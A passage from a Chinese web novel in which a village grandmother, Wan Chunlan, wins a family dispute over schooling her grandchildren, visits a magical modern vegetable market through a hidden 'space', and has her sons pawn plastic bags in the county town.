刘大江听着听着,眼睛逐渐瞪大,惊疑不定地看向万春兰——她是这么打算的?
他皱起眉,打断道:“那这一年也要出四贯钱!咱家什么家庭?地里刨食的,一年到头能攒下几个钱?你当钱是大风刮来的?”
万春兰“噌”地转过身,瞪着他:“家里大的都成亲生子了,没什么再动大钱的地方,你我身体又都健壮,钱给孩子上学怎么了?你怎么不说说你一口气借出去两贯钱!”
万春兰说完看向刘大海几人也哭诉上:“大哥二哥大姑姐四弟,老话说家丑不外扬,这我都没跟你们说,大江他这几年好几次把家里的钱往外拿,一问就是借朋友、有用处,前两天更是说都没跟我说一声,直接拿了家里两贯钱给别人。因为这事儿他还闹的说要休了我!”
这话一下把老刘家这几人都给炸了。
刘大海、刘大河、刘大湖、刘春桃齐齐看向刘大江。
“老三,你借人钱了?”刘大海皱眉问。
“借了两贯?借给谁了这么多?”刘大河也问。
“老夫老妻的了,怎么还说休不休的那种话。”刘春桃皱眉看着人,这回是看刘大江。
“是啊三哥,这你怎么也没跟我们说啊。”刘大湖觉得三哥这有点坑人了。
刘大江的脸一下子涨红了。他没想到万春兰竟然当着他兄弟姊妹的面把这件事抖出来,又气又急,忙解释:“我、我就是借给朋友应急!”
“借出去两贯,跟家里商量了吗?”万春兰不依不饶,她的声音带着哭腔,眼圈也红了,看着真像是受了天大的委屈:
“大哥二哥大姑姐四弟,我想送孙子们去上学,那是真心为了孩子们好,为了老刘家好啊,孩子们都姓刘,都是咱们刘家的人,谁要是将来读好了,那不是给老刘家争光吗?而且这读过书,今后干点什么都容易,我是一片真心,全为了孩子们的将来考虑,你们给评评理,我就想问,这外人难道比自己亲孙子还重要吗?”
刘大海的脸色更难看了。他看向刘大江,语气严厉:“老三,这就是你的不对了。家里用钱,哪能不跟弟妹商量?两贯钱可不是小数,够买多少粮食了?而且弟妹这不是有考虑吗?哪里像你说的那样不管不顾都要送去读书的!”
“是啊老三,”刘大河也摇头,“你这事办得不地道。”
刘春桃暗暗白了这弟弟一眼,叹气,让她来帮忙教训弟妹,也得真有错让她揪啊!
刘大湖直接话都懒得说了,低个头儿看门口想走。
刘大江被说得哑口无言,一张脸青红交加,看万春兰手指着她又说不出个道理,万春兰撇开脸不看他,低头装委屈。
刘春桃看着气得脸发涨的三弟,想了想,还是开口帮着一把,语气比开头时缓和很多:“弟
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妹,你想的是好,我也赞同拿钱送孩子上学,可是这一年,四个孩子毕竟也要四贯钱呢,这可是大数啊。”
这时,二儿子刘劲水也站了出来:“大伯、二伯、大姑、四叔,孩子们去读过书,怎么着也比没读过的好。而且就这一年,等忙完春种后,我和大哥就去镇子和县城找短工去,这钱,我们挣。”
两个儿媳妇也跟着表态。
罗菊香说:“我和荷花也能做绣活儿,张婶儿说县城上一些富贵人家请人浆洗衣裳,我们都能干。”
马荷花用力点头:“对,我们都年轻身体好着呢,能挣钱。”
一时间,全家人站在同一条战线上,那架势,任谁看了都得说一句,这家人的心齐着呢。
这还说啥了?
刘春桃悻悻退下来。
几个人老脸愈发挂不住。
这兴冲冲的来,结果一家人商量好好的心齐着呢!
几个人看向刘大江脸色愈发不好。
刘大海看向刘大江,心里头蹿起火来不高兴的训斥:“你看看你!家里这不挺好的吗?孩子们有出息,儿媳妇懂事,弟妹也有主意。你急急忙忙找我们去说,我看是你找事!”
“大哥!我!”
“行了行了。”刘大海不耐的打断刘大江,这被拉来给弟弟做主,结果差点被弟弟坑了个大的。搞得他一把年纪在一群小辈面前丢脸!
剩下几人也同样的想法。
这老三纯就是把他们坑到他家里来丢脸的!
几人都在刘大江家里待不下去了。
老四刘大湖冲万春兰不好意思笑笑:“三嫂,时候不早了,那我先走了。”
“哎呀难得来一趟,别急着走啊。”万春兰立马回头收了脸色,假假装装的抹抹眼角,看着院子里的大伯叔子们笑道:“大哥二哥大姑姐四弟,既然来了,就在这儿吃晚饭吧!正好今天摘了蕨菜,新鲜着呢!”
刘大河摆摆手:“不了不了,家里还等着呢。”
其余几人也摇着手,不好意思的要走。
“咳,家里做上饭了,等着回呢,下回、下回啊。”
“今儿天也不早了,不留了,得走了呵呵。”
“对,下回再来啊呵呵。”
“诶!拿上些野菜回去!摘了好多呢,拿点都拿点!”万春兰张罗着:“菊香荷花,赶紧拿出来些给你们大伯二伯四叔大姑装上,挑好的装!”
罗菊香、马荷花:“诶!”
两人手脚麻利找出麻绳,打开装野菜的麻袋开始大把捆,四个长辈全都给捆了好大一捆野菜。
这就不好再推辞了,刘家这几个人,一人拿上一大捆野菜,全都看着万春兰笑出一脸皱纹。
“太客气了弟妹/嫂子!”
“一家人讲什么客不客气!要不我也要让劲山劲水给你们都送去呢,正好大家在,省得的让这俩小子跑腿儿了都。”
几人高高兴兴的拿了万春兰家的野菜,兄弟姊妹几个出门告辞,临走前,刘大海拍了拍万春兰的肩膀:“三弟妹,你是个有主意的。孩子们读书是好事,这家里有你我放心,好好干!”
万春兰笑容满面:“诶。”
回头不忘又训了刘大江一嘴:“当爷爷的人了还不着调,赶紧把那两贯钱要回来!”
刘大江被训的脸红脖子粗,又不敢跟大哥顶嘴。
万春兰看的心里那叫一个痛快,一股爽气跑到头顶神清气爽。
她瞥眼看向憋屈的刘大江。
活该!
21. 第 21 章
送走刘家几个老人。人走后,刘大江黑着老脸谁也不看摔上门进屋。
“砰”的一声,门关得震天响。
万春兰没管他,笑着转头对两个儿媳妇说:“做饭。”
“好的,娘。”罗菊香和马荷花心疼的把少了将近一半的野菜重新收拾好,唉,这可都是钱呢!
几个孩子倒是懂事,大宝领着二宝去井边打水,福哥小跑去拿木盆,最小的小禾跟在身后,捧了个葫芦瓢。四个小人儿合力端来半盆水,往院子里一放,齐声喊:“阿奶,爹娘,伯伯/叔叔,婶娘,洗手。”
奶声奶气的,把几个大人的心都给喊软了。
“诶,都真乖。”万春兰笑盈盈地接过小禾递来的布巾,挨个给孩子们擦脸。
一家人在山上上树下地忙活了大半天,脸上手上都沾了一层土,指甲缝里更是黑乎乎的。
擦完小孩儿,万春兰自己好好洗了把脸,然后把手洗干净,起身去了灶房。
罗菊香马荷花擦了擦身上的浮灰,洗干净手,两人跟着万春兰进了灶房,罗菊香去掀米缸的盖子,马荷花已经麻利地从墙边拿下饭盆。
刘劲山刘劲水兄弟俩没闲着,跟万春兰说了声:“娘,我们去大伯家把板车推回来。”说完就出了门。
“去吧。”万春兰挽起袖子盛米,“今晚还蒸干饭。”她说这话时,语气里带着一股痛快劲儿,“干了大半天活儿都累了,明天要出门,都吃饱点。”
罗菊香和马荷花眼睛发亮的端着饭盆,看着婆婆从米缸里连挖了好几碗米,每一碗都是满满的。
旁边看奶奶亲娘做饭的小孩们听见今晚又吃干饭,全都高兴的到院子里蹦跶。
一家人热火朝天,晚霞染透了半边天,石磨村的上空家家户户飘起袅袅炊烟。
很快,刘劲山和刘劲水推着板车回来了。兄弟俩把板车停在院墙根下。
这时候,锅里的米已经淘洗好,加了水,架在灶上。罗菊香添了把柴,火苗“噌”地窜起来舔着锅底。
不多时,锅里就传来“咕嘟咕嘟”的声音,米香味儿开始往外飘。
“荷花,去后院掐几根葱来。”万春兰叫道。
“哎!”马荷花应声去了。
罗菊香已经把香椿和都蕨菜洗好了,嫩生生的蕨菜芽和香椿芽在水盆里漂着,看着就清爽。
连水带菜一起倒进烧热的锅里焯上片刻。
万春兰转身从碗柜里面捧出装猪油的陶罐,白花花的猪油细腻如膏脂,挖了一勺扔到锅里,不一会儿就化成了油汪汪的油花,她一把抓起焯好水晾在一边的蕨菜扔到锅里滋啦啦翻炒。
灶火旺旺地烧着,锅里的米饭开始冒出白色的蒸汽。米香混着野菜香,在灶房里弥漫开来,又飘到院子里。几个孩子像小猫似的,闻着味儿就凑到灶房门口来了,一个个伸长脖子往里头瞧,口水都快流出来了。
“去去去,一会儿就好,别在这儿碍事。”万春兰笑着赶人,撒下一把味精,炒菜出锅。
那边马荷花凉拌香椿也做好了,万春兰过去趁着不注意也撒了点味精进去,拿筷子拌匀。
晚饭做好上桌,一大盆糙米饭,蒸得粒粒分明,冒着热气;一盘猪油炒蕨菜,绿油油的看着就诱人;一盘凉拌香椿,淋了点香油,香味扑鼻;还有一小碟切得细细的咸菜丝。
罗菊香和马荷花把饭菜端到桌上,刘劲山刘劲水已经摆好了碗筷。一家人围着桌子坐下,唯独少了刘大江。
刘劲山看了眼老屋紧闭的门,站起身:“我去叫爹。”
刘劲水也起身跟着大哥一起,俩人走到老屋门前,刘劲山抬手敲了敲门:“爹,吃饭了。”
隔着门板,屋里传来重重一哼,兄弟俩在门外等了一会儿不见刘大江出来。
刘劲山又敲了敲,声音大了些:“爹,饭好了,出来吃饭了。”
“娘今晚做了炒蕨菜和凉拌香椿,香着呢。”
叫了几次,连说带哄,刘大江在屋里就是不出来。
万春兰心里的火又给惹起来,她回头冲俩儿子喊:“你俩过来吃饭!叫什么叫,他不吃还能饿死?”
兄弟俩在门外对视一眼,都从对方眼里看到了无奈。
叫不出来刘大江,娘又发话了,刘劲山刘劲水兄弟无奈的回到桌前。
“吃饭。”万春兰拿起筷子,挨个给孙子孙女碗里都夹了一筷子菜,“多吃,长个子。”
万春兰直接没给刘大江留饭,不吃正好,怎么不饿死那个老不死的。
几个孩子早就饿了,捧着碗吃得喷香。小禾扒了一大口饭,腮帮子鼓鼓的:“阿奶,真好吃!”
“好吃就多吃点。”万春兰脸上这才有了点笑模样。
大人们虽然心里还有点惦记着刘大江,但看着孩子们吃得欢,也都慢慢放松下来。刘劲水扒了口饭,嚼了几下,忍不住说:“娘,这蕨菜真鲜,真好吃。”
“当然了,现摘的,能不鲜吗?”万春兰说着,自己也夹了一筷子。
“不不,是您炒的鲜,您现在做菜的水平比镇上馆子里的大厨都厉害!”
万春兰扬起眉毛看着二儿子笑问道:“我这手艺能赶上馆子里大厨了?”她心里明镜,自己可没什么手艺,她全依仗着神仙地的味精。
刘劲水竖起大拇指不停点头,“大厨都赶不上您。”
万春兰笑没了眼睛,招呼全桌人瞅他:“数你是个会拍马屁的。”
一桌子人全都忍不住笑了起来。
福哥捂着嘴巴看老爹偷笑:“马屁精!”
刘劲水瞪眼抬手轻抽了下儿子的脑瓜子:“敢说你老子我是马屁精,我抽你这臭小子!”
福哥捂着脑袋冲亲爹认错:“我错了爹。”
“哼,以后送你去上学了,不好好学我还抽你!”
“对,你们几个都是,等去了村学上学,都好好跟先生学学问晓得不?”
“嗯!晓得啦!”
一桌人全都咯咯笑起来。
饭桌上其乐融融,听的屋里的刘大江越来越气闷。
他今天找兄弟姊妹们过来教训万春兰,没成想没教训成死老婆子,反倒是让大哥把自己给教训了一通!
那死老婆子还说什么,就送去读一年,一年那也是四贯钱!
一想到四贯钱,刘大江就心疼的直抽抽,他转身去钱柜,柜子上锁着锁头,他去床头找钥匙,翻了半天没找到,钥匙早被万春兰揣走了。从发现刘大江弄没两贯钱那天,钥匙就没离过身。
刘大江找不到钥匙,一想就知道定是被死老婆子给藏起来了,气得他脸皮发颤,他走到门口支棱着耳朵,又听到外面万春兰说——
“明儿个一早,劲山劲水推着香椿跟我去县城找菜贩。”
“娘,那菜贩天天都收吗?要是天天收,我天天去山上找去。”
“嫂子我跟你一起去!”
“哪有那么多香椿给你们找啊?”万春兰笑了,“香椿就这一阵子,过了季就没了。不过咱们可以摘别的——蕨菜、荠菜、马齿苋,山里能吃的野菜多了去了。这事儿先不用急,反正野菜一直有,那边要是都收,往后咱们又多一样进项。”
罗菊香和马荷花听得是心花怒放,两人连连点头。
“娘说得对。明天您跟劲山他们去县城,我跟荷花再进山找香椿,趁现在是应季的时候,能多摘点就多卖点。”
“嗯嗯,对,明天我和嫂子再去,咱们多摘点,攒够了钱,孩子们读书就不用愁了!”
刘劲山、刘劲水被媳妇们激励的也来了劲头,眼睛放着光的说:
“正好明天去县城,我和大哥到处找找问问,看都有什么做短工的营生,我听铁头说,咱们县城码头每年开河前后就招河工呢。”
“对,等开春后码头忙起来,城里的活儿计就多了,有的商铺就专门招脚夫日日搬货送货。”
“你俩顺道再问问招妇人做工的都有哪些的活计。”
“诶。”
万春兰看着家里人讨论的热火朝天,频频点头,嘴都合不上。
院子里的气氛热络,几个大人你一言我一语地商量着,孩子们虽然听不懂大人在说什么,但看着爹娘阿奶都高兴,也跟着咧着嘴笑。
老屋的门缝里,刘大江支棱着耳朵听,越听表情越怪、心里越不是滋味。她还找了个县城收菜的活计?就那些破野菜?万春兰真有这本事?
刘大江老脸青一阵紫一阵,越听越气,外头的饭菜香味还一个劲儿往鼻子里钻“咕噜——”肚子不争气地叫了一声。
刘大江猛地站直身,拉开门就往外走——这饭他不吃了!这个家他也不待了!
“爹?”刘劲山看见他出来,刚要说话,刘大江已经一阵风似的从他身边刮过,头也不回地出了院门。
“砰!”院门又被甩得震天响。刘大江留下众人一个气冲冲的背影离家而去。
堂屋里一下子静了下来,原本热络的晚饭气氛,被刘大江这么一搅合,顿时冷了下去。
万春兰撂下脸冷冷的看着墙外刘大江走远的半截脑袋,气得牙根痒痒。
全家都好好的,就他唱反调。就好像这不是他家似的!
不由的想到今天去镇上找到的孙红云家......万春兰的脸色顿时阴沉了下去。
“爹这是......”罗菊香小声说。
万春兰打死眉头:“不管他,吃饭,咱们说咱们的。”
刘劲水和刘劲山对视一眼,默默地低头吃着饭,罗菊香和马荷花也不说话了,几个孩子也察觉到大人的情绪不对,都安安静静地扒着碗里的饭。一时间饭桌上只有碗筷咀嚼声,没有之前的热闹劲儿了。
吃完饭,万春兰放下碗筷,对两个儿媳妇说:“菊香荷花,一会儿用面烙两张饼,明天我们带上吃。去县城路远,中午不一定赶得回来。”
“哎,知道了娘。”罗菊香应道。
马荷花已经起身收拾碗筷:“娘,您歇着,我们来就行。”
万春兰没推辞,坐在桌边看着她们忙活。刘劲山刘劲水也帮着收拾,一家人默契地干着活,谁也没提刘大江。
烙饼的面是方才做饭时万春兰早先就和好的,放在盆里醒着。罗菊香把面擀成薄薄的饼,马荷花在锅里刷了层薄油,饼下锅,“滋啦”一声,香味就出来了。
两张大饼很快烙好,金黄酥脆,看着就诱人。罗菊香用干净的布包好,放在灶台上:“娘,明早走的时候带上就行。”
万春兰点点头,“你们也早点歇着,今天累了一天了。”
“诶,收拾完我们就去睡,娘您回屋歇着吧,明早还要去城里呢。”
此时天已经渐黑了,剩下家务活都有儿子儿媳妇们收拾,万春兰点点头,从凳子上起身回了屋。
天很快彻底黑了下来。
村里各家都静下来准备睡了。
刘大江还没回家。
见刘大江还不回来,刘劲山刘劲水出来到门口张望,俩人不放心,出了门去找。
兄弟俩沿着路走,村子里各家都静了下来,偶尔传来几声狗叫。他们先去了张老三家,远远的看见张老三家的屋里点着灯,刚进到院门口,就听见亮着灯的屋里头传来刘大江粗声粗气的声音——
“她就是疯了!老三,你说这么些年你见过比她还败家的老婆子吗?四个都送去,她当她是太后娘娘呢!”
“消消气,消消气,这确实吓人,就没听过谁家要一口气送四个孩子去读书的......”这是张三叔的声音。
两兄弟对视一眼,刘劲山敲了敲门,张老三开了门,看见是他们,回头叫刘大江:“劲山劲水来了。”
屋里,刘大江正坐在炕沿上,看见两个儿子,顿时脸色一沉:“你们来干什么?回去告诉你娘,我今晚不回去了。”
“爹,你这是干啥?”刘劲水一听,有些急了:“天都黑了,你不回家今晚睡哪啊?”
“回家?回哪个家?”刘大江冷笑,“那个家还有我说话的份儿吗?你娘说什么就是什么,你们一个个都听她的,眼里还有我这个当爹的?”
“爹!您这话说的,不管什么时候您都是是我们亲爹啊!”
刘劲山、刘劲水进屋来,站到刘大江跟前好声好气地劝:“爹,娘也是为了孩子们好。您想想,要是大宝二宝他们将来有出息,您脸上不也有光吗?”
“出息?不等他们先有出息,我这把老骨头就先被啃没了!我道是就你们娘在那犯
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了疯病,做春秋大梦,我看你们俩也被她忽悠的没脑子了。”刘大江一摆手,“别跟我说这些!我今晚就在这儿睡了,你们回去吧!”
“爹您......”
“滚滚滚!都赶紧滚!”
张老三过来打圆场,笑着对刘劲山刘劲水说:“你们先回吧,你们爹今晚在我这就行。正好我俩老兄弟唠唠嗑,不碍事,有我呢,甭担心。”
刘大江冷哼一声不看他们哥俩。
刘劲山刘劲水劝了半天,见实在劝不回去,只好苦着脸退出了门。
“那……麻烦您了张三叔。”
从张老三家离开,兄弟俩踩着月色都叹了口气,脸色不太好。
爹娘这一架吵的。
爹今晚竟然都不回家睡了,在张三叔家,跟张三叔那睡。
刘大江不回家,弄的俩儿子心里不安生,又有点不是滋味。
送孩子去上学是好事啊,而且娘说了,只这一年送四个,都是为了孩子们,为了这个家好,他们兄弟也说农闲时去外头打短工挣钱,媳妇菊香和荷花也要干绣活找活计,全家一条心多好啊,爹怎么就那么大意见?
对于上学这个事,刘劲水心里不是滋味更重一些,小时候他就想读书,还跟着人去村学门口偷偷听课,娘知道后也想咬咬牙送他去上学的,但小时候,爷奶先后去了,然后分家,要盖房子,一项接着一项要用钱的地方,他也就歇了心思。
现在娘愿意让孩子上学,他是真高兴。
可爹竟然反对成这个样子。
大宝二宝福哥小禾都是他的亲孙子亲孙女啊。
这么想着,刘劲水心里愈发不是滋味,心里面对刘大江开始隐隐有些意见了。
“要跟娘说一声不?”
“说一下吧,爹今晚不回来,娘嘴上不说,心里肯定会担心,去说一声也省的让娘担心。”
兄弟俩说好,往家里走。
回去后到老屋门前,两人敲敲门。
“娘,爹说今晚在张三叔家睡,明天再回来。”
“爱回来不回来。”
万春兰在床上睁开眼,她皱起眉头,起身下床过去打开门,屋外的月光洒进来,两个儿子站在门前。
“你俩回去早点歇了,明早还要出门呢。”
“诶。好的娘,那我们回去睡了。娘你好好休息。”
“嗯晓得了,去吧。”
看着俩儿子分别回去了自己家屋里。万春兰关上门,想了想,抬手“咔哒”一声扣上门闩。
不回来正好。
正好她现在一点也都不想看见刘大江那老不死的。
他要是回来,他俩晚上指不定还得干一架!
万春兰在心里咬牙切齿的想了一会儿,回去床边坐下冷哼一声。
不回来的好。
既然不回来,正好给她空出时间。
她抬手放到心口位置,水波纹一阵波动过后,万春兰消失在了屋子里。
万春兰进到了空间。
白屋里亮堂堂的,四壁光洁,光线柔和均匀,分不清光源从何而来。万春兰每次进来,都觉得这里干净得不像人间——地上纤尘不染,连空气都清新得过分。
她手里拿着家里的粮袋,这是她晚饭前偷偷从粮缸里舀出来的。五十斤大米,沉甸甸的。她小心地拆开袋子,把米倒进去。
明天去县城,她打算把这大米也换了。现下粮价涨得厉害,不换米换些铜钱也好,正好能给孩子们上学用上。
收拾完,万春兰看着通往神仙地的那扇门。
这一整天都在忙,一天没去菜市场,万春兰心里想的不行。
这个时间,神仙地怕是也休息了吧?
万春兰站在门前,轻轻推开了通往菜市场的门。
从卫生间出去,万春兰看见菜市场棚顶各处亮着柔和的光,将整个市场照得如同白昼。但白天里那些整齐排列的货摊、堆满新鲜蔬菜的筐子都不见了,取而代之的是一片空旷的水泥地面,地面上散落着一些蔬菜的残叶和零散的垃圾。还有好多摊位的边角都堆放着一些尚未处理的瓜果蔬菜。
市场里还有人,他们基本手里都那这个大袋子,三三两两地散在市场各处,正弯腰捡拾挨个扒拉那些堆在摊位或者垃圾桶旁边被处理的剩菜剩果。
有个头发花白的老婆婆,正蹲在蔬菜摊位边上,捡起几根有些发蔫的胡萝卜。那胡萝卜看起来好都很,除了尖头处还有些破损,就跟卖的新的一样。老婆婆小心地把胡萝卜放进身边的布袋里,又伸手去够不远处几片散落的青菜叶子。
另一边,一个中年汉子正翻看着一堆被丢弃的土豆。那些土豆有的发了芽,有的表皮发青,有的磕碰出了黑斑,但好的也有不少,汉子挑挑拣拣,把还能吃的放进背篓里,那些实在不能要的就随手扔回地上。
他的塑料袋里已经装了小半,大多是些品相不好但依然很新鲜的蔬菜——歪瓜裂枣的黄瓜,叶子发黄的白菜,个头太小的西红柿。
还有一个年轻的妇人,她捡了一棵有些半烂的白菜,扒掉几层外皮,里面的叶片都好好的,她把白菜放到小推车里,然后又扒拉袋子找到几根弯曲的黄瓜——那些黄瓜显然是因为长得不好看而被扔掉的,但吃没问题,她照样把黄瓜放到小推车里,然后朝着下一个摊位走了过去,如法炮制。
“老张,这个还行,就是皮皱了点。”一个老人举起一个西红柿,对着光仔细看。
“皱点怕啥,回去切切照样吃。”另一个老人接过来看了看,把西红柿放进了布袋里,然后俩人继续去捡别的。
万春兰下意识地往前走了几步,靠近那些捡菜的人。别人注意到万春兰,只当她也是菜市场散市后来捡菜的,大家都在专心致志地寻找着还能入口的食物。
市场的地面上,到处都是被丢弃的蔬菜残骸。
看了半天,万春兰发现他们并没有长块块,也没有用花纸,捡起来就放到自己袋子里了。
而现在也没有摊位掌柜了。
但好些摊位的旁边,都扔放着不少瓜果蔬菜。
万春兰惊讶的看着场景,看着那些在摊位上捡菜装到自己袋子里的人。
......这菜是可以白拿的?
22. 第 22 章
“别一惊一乍的。”万春兰淡定道,她探头又看了看路边,看着两儿子,扯出提前想好的说辞:
“其实那天,那位老夫人路过时换了我的野菜,然后又问我附近的山水风景。我给那位老夫人讲了讲咱们这儿的风光,人家高兴,就多送了我这些。”
两兄弟听得一愣一愣的,刘劲山咽了口唾沫,喉咙里“咕咚”一声:“这富贵人家......真够大方的!”
“可不是嘛。”万春兰顺着说:“人家手指缝里漏点儿,够咱们庄稼人吃一年的。”
“那您咋没说啊娘?”刘劲水挠挠头,“这事儿多稀罕。”
万春兰摆摆手:“这有什么好说的?当时就觉着是人家顺手给的小玩意儿,谁承想......”
万春兰顿了顿,接着说:“昨儿我不是去镇上打听米价,就顺手拿了一个装米。你们猜怎么着?米铺掌柜看我这袋子好,出一百文买下了。”
“什么?!一百文?!”万春兰这话直接把两兄弟惊的原地一大跳。
一个袋子!卖一百文??!两人瞪大了两双牛眼,拿着手里的塑料袋,翻来覆去地看,恨不得把眼珠子贴上去。
这玩意儿薄得跟蝉翼似的,对着光还能透亮,捏在手里“哗啦”响,他们知道是好东西,但没想到竟然能这么好!一个值一百文!!
“我觉得这袋子不止值一百文。”万春兰哐当又一句砸下来。
俩兄弟瞪着眼倒吸气,看着万春兰,话都说不出来了。
“米铺掌柜是什么人?那是走南闯北见过大世面的生意人,精得跟猴儿似的。他能舍得掏一百文,说明这袋子指定更值钱。”万春兰压低声音,“我琢磨着,在县城这地界,说不定能卖更高。”
刘劲水脑子转得快,眼珠子一转:“娘,您把这袋子给我们,是想让我和大哥到县城后拿去卖掉?”
“没错!”万春兰赞许的看向二儿子,小禾的聪明劲儿是有几分随爹的。
兄弟俩精神一振,互相看了一眼,又看向万春兰。
“可是娘,今日又不是集日,怎么卖啊?我和大哥从来没做过生意。”
万春兰“啧”了一声。
“谁让你们去叫卖了?这种好东西怎么能拿到集市上去卖?逛集的大都是普通老百姓,谁家舍得掏一百文买个袋子?”
“况且你俩从没做过生意,不像人家会做生意的那种嘴皮子灵活,死的都能说成活的。去叫卖也干不来。说不定还会惹祸上身。”
两兄弟一惊:“惹祸上身?”
万春兰脸色一肃:“那可没准。咱们这属于意外之财,一百文一个,傻子都知道是好东西了。你们俩去集市叫卖,卖不卖的出去还是两说,万一被那些心术不正的、专干黑心买卖的地痞流氓盯上了,到时候背后给你俩来一闷棍,把东西抢了,咱们找谁说理去?再有那更恶毒的,跟踪你俩摸到咱家去,咱们一家老小都要遭殃。”
两兄弟被万春兰这一番说辞说的心惊肉跳,后背都沁出了一层冷汗。
两人也不是什么也不懂的毛头小子了,乡下地方,杀人越货的骇人事儿,虽不常见,可也不是没听说过。前些年,隔壁村的一个人在山上挖到了一颗品相极好的老山参,卖了不少钱,招摇没几天,结果半夜就被人翻了家,后来这人还被人发现死在了后山沟里,脑袋都被砸烂了,到现在也没抓到是谁干的!
财不露白的道理,从老祖宗那辈就传下来,都是多年应验下来的。
两兄弟郑重点头,不由的围紧了些把塑料袋藏起来,警惕的四下望了望。
“别搞得这么紧张!稳重点。”万春兰教训道。
两兄弟听教的点点头,但依然保持警惕。
“娘你说的对!那您打算......?”
“我打算让你俩跑一趟当铺,去把这几个袋子当了兑钱。”
两兄弟眨了眨眼:“去当铺?”
万春兰点头。
“我仔细想了想,因为这东西来得容易,是笔横财。”万春兰叹了口气,“我就怕招灾惹祸。拿去当铺,一手交东西,一手拿钱,银货两讫,最是干净省事。”
“当然,娘就是个乡下老婆子,见识有限,这法子未必最好。你俩年轻,脑子活,有没有什么更好的想法?说出来咱们合计合计。”
刘劲山和刘劲水对视一眼,都挠起了头。这事儿来得突然,他们心里又激动又紧张,同时也十分警惕,一时半会儿的,还真想不出比当铺更稳妥又快捷的法子。
“娘,我觉得您这法子挺好。”刘劲山想了想,老实说道:“去当铺是最稳妥的,不用抛头露面,一个袋子一百文,对咱们来说很值钱了,但对当铺来说不是什么大买卖,直接弄个不留名的死当,银货两讫,对咱们最好。”
“是的娘。”刘劲水也附和:“我同意大哥说的,稳妥要紧,拿去当铺是最省事儿的,也免得节外生枝。”
看俩儿子都认同,万春兰心里最后一点不确定也放下了:“那成,这事儿就这么定了。”
“当铺那地方,掌柜的都是看人下菜碟的。我一个老婆子去当东西,人家指定往死里压价。指不定还会欺负人呢。换成你们两个青壮汉子去,那就不一样了,你俩年轻力壮,说话也有底气。”
两兄弟面容一整,深以为然的点了点头,这事儿他俩办了。
“这你放心娘,我们两个去当铺,那掌柜想欺负人也得掂量掂量。”
万春兰笑起来,拿过来塑料袋当着他们的面小心搓开一个。
刘劲山、刘劲水看着万春兰搓开的塑料袋封口,眼睛瞪的大大的,这袋子原来是这么开的。
“看见了吧?这袋子是这么开的。这几个都是没开封的,纯新。”
“我卖给粮铺掌柜时说,这袋子是我有跑海船的亲戚,从海外番邦小国带回来的特产。你们去了城里,也这么说,总之说的越远越好。”
“这事儿就交给你俩了。”
万春兰把塑料袋小心叠好交给了两个儿子手里。
刘劲山和刘劲水两个人郑重地接过了塑料袋,眼睛里都溢出了兴奋和紧张。卖野菜是一回事,卖这种稀罕物件儿是另一回事!
“娘你放心,这事儿交给我们兄弟办了。”
“是的娘。”
“行。你俩把东西揣好了,路上想想到时候怎么说,等到县城后,你们就直接去当铺,我去给菜贩把菜送过去。”
“这事儿不要去外面声张,跟你俩媳妇也别说,外人更不要说。这是意外之财,被外人知道咱家多了
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一笔横财,难免惹人眼红,到时候再惹出什么事情。这钱兑回来,就留着给孩子们上学用。”
“明白了娘,您放心吧!”
兄弟俩信誓旦旦保证,一人揣了五个袋子到身上,颇有一种受命于身庄肃感。万春兰看着俩儿子,放心的点了点头。
“那咱继续走吧。”
“好嘞,娘,您上车。”
“哎哟不用。”
俩人不由分说把万春兰架上车,板车上铺了层干草,坐着倒也不硌人。万春兰推辞不过,只好在麻袋旁边找了个位置坐下。
板车又开始向前滚动。万春兰坐在车上,看着两个儿子的背影,脸上不由溢出笑,她看向路边的风景,心里盘算着一会儿到县城,微微松了口气。
她只拿出来十个塑料袋。
因为再多了她觉得自己家里兜不住。
一个袋子卖一百文,换成年轻时,她指定立马乐不颠儿的想办法去把袋子全卖了。可现在的她不是年轻的时候了。神仙地一块五一沓,一沓有五十个,她那三百多块能买好多,一百文一个,她能卖多少钱?
只要一想到那些算不出数的大钱,她不是兴奋,而是心慌。
活了这么多年不是白活的,她虽然没读过书讲不出大道理,但几十年的生活经验告诉她,这可不是什么好事,她就没见过有谁突发横财能善终的。
人得有能兜住大财的底气才能守得住这份财运!
万春兰没这份底气。
她就一个普通庄稼人,大字不识几个,祖上数八辈都是地里刨食的。这辈子没去过府城,最大的地方就去过县城。
说她胆子小也好,说她没发财命也罢。
她自觉没能力兜底,家里的人也没有一个有能力兜底的。
她宁可胆子小点,也不想招惹上事。
万春兰看着路边的风景,放松了心情。
钱慢慢挣不怕的,一步一个脚印,好歹踏实。
能小赚一笔她就很满足了。
一个袋子一百文,十个就是一千文,等于一两银子呢!一个孩子的束脩不就出来了吗?剩下三贯,他们还有一家子人想办法一起挣呢,万春兰嘴角上挂起笑。
日头渐渐升高了,暖洋洋地照在身上。从石磨村到县城有十多里地,走路差不多要一个时辰,他们推着板车要慢一些,估摸着得一个半时辰。
沿路都是庄稼地,麦田、菜地、果园,一片连着一片。渐渐的路上人多了起来,有挑着担子的,有推着小车的,还有赶着驴车的——都是往县城去的人。
板车一路往前,路旁的景色渐渐变了,庄稼地少了,屋舍多了起来。远远的,能看见县城灰扑扑的城墙了。
“快到了。”万春兰眯着眼看着远处的城墙说。
刘劲山、刘劲水两兄弟也看着远处的城墙,心中振奋,不由加快了脚步。
又走了约莫一刻钟,终于到了城门口,“香平县”几个大字高高的刻在城楼上,在日头下泛着光。
万春兰从板车上下来,手帮忙推着车走在俩儿子旁边。
城门开着,进进出出的人不少。守门的兵卒懒洋洋地靠在门边,偶尔扫一眼进城的百姓,也不盘问。
三人推着板车在进城的人后排队进城。
23. 第 23 章
进了城,就是另一番景象了。
街道两旁是各式各样的铺子,布庄、米铺、杂货铺、药铺......招牌一个挨着一个。街上人来人往,吆喝声、叫卖声、讨价还价声,混成一片,热闹得很。
“你俩去吧。”万春兰接过来板车:“我去给送完菜,就到城门口的茶棚等你们。”
刘劲山、刘劲水两兄弟点点头:“那我们去了娘。”两人深吸一口气,揣在衣裳里的塑料袋薄薄一层却沉甸甸的,两兄弟迈开步子往县城里当铺的那条街走去。
看俩儿子离开,万春兰推起板车往另一处去。
她对县城还算熟悉,穿过热闹的主街,拐进一条青砖灰瓦的胡同。这是条背街,两旁是高高的院墙,墙头探出几枝才吐新芽的桃枝。
走到胡同深处拐弯,四下看了看没人,万春兰停下板车,她抬手放到心口的位置,水波纹浮动,随后连人带着板车在角落消失,除了路过的小鸟,谁都不曾看见这里曾有过什么。
一个刚买完菜的妇人挎着菜篮领着孩子走过小路,小孩儿蹦蹦跳跳,嘴里哼着歌谣跟妇人一起往家去。
妇人和孩子的身影消失后,角落处轻缈的水纹波动,万春兰和板车原地又出现。
